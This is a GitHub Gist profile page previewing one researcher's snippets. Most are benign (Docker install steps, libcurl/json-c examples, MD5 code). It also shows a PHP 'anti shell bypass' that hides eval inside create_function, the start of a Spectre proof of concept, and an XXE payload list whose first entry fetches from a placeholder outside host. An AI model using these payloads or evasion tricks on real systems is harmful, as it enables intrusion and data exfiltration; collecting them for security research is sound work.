Skip to content

Instantly share code, notes, and snippets.

View raminfp's full-sized avatar
✔️
Verified

Ramin Farajpour Cami raminfp

✔️
Verified
View GitHub Profile
/*
cmp_digit(2, 4);
| |
| |
esi edi
ret:
0 : true
1 : false
*/
@raminfp
raminfp / bypass_anti_shell.php
Created January 24, 2018 14:34
PHP bypass anti shell
<?php
$hello = 'Hello';
$world = 'World!';
$str = 'echo "Say : '. $hello . ' ' . $world . '";';
$filename='e'.'v'.'a'.'l(\''. $str. '\');';
$newfunc = create_function('', $filename);
$newfunc();
?>
/usr/local/lib/python2.7/dist-packages/django/core/management/commands/runserver.py
from __future__ import unicode_literals
import errno
import os
import re
import socket
import sys
@raminfp
raminfp / spectre.c
Created January 5, 2018 06:34 — forked from rootkea/spectre.c
PoC from Spectre Attacks: Exploiting Speculative Execution (https://spectreattack.com/spectre.pdf)
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif
@raminfp
raminfp / docker-ce-ubuntu-17.10.md
Created December 13, 2017 14:15
Install Docker CE on Ubuntu 17.10 and Docker-compose

Installing Docker CE on Ubuntu 17.10 Artful Aardvark

As of 20/10/2017, a release file for Ubuntu 17.10 Artful Aardvark is not available on Download Docker.

sudo apt-get update
sudo apt-get install apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo apt-key fingerprint 0EBFCD88
#!/usr/bin/bash
qemu-system-x86_64 \
-hda wheezy.img \
-m 2G \
-smp 2 \
-net user,hostfwd=tcp::10021-:22 -net nic \
-nographic \
@raminfp
raminfp / XXE_payloads
Created August 11, 2017 03:19 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@raminfp
raminfp / curltest.c
Last active June 26, 2021 19:35 — forked from aaronhurt/curltest.c
example code using libcurl and json-c to post and parse a return from http://jsonplaceholder.typicode.com
/**
* example C code using libcurl and json-c
* to post and return a payload using
* http://jsonplaceholder.typicode.com
*
* Requirements:
*
* json-c - https://github.com/json-c/json-c
* libcurl - http://curl.haxx.se/libcurl/c
*
@raminfp
raminfp / json_parser.c
Created August 1, 2017 05:35 — forked from alan-mushi/json_parser.c
Examples for the json-c tutorial.
/*
* A simple example of json string parsing with json-c.
*
* clang -Wall -g -I/usr/include/json-c/ -o json_parser json_parser.c -ljson-c
*/
#include <json.h>
#include <stdio.h>
int main() {
struct json_object *jobj;
@raminfp
raminfp / md5.c
Created July 31, 2017 07:17 — forked from creationix/md5.c
/*
* Simple MD5 implementation
*
* Compile with: gcc -o md5 -O3 -lm md5.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>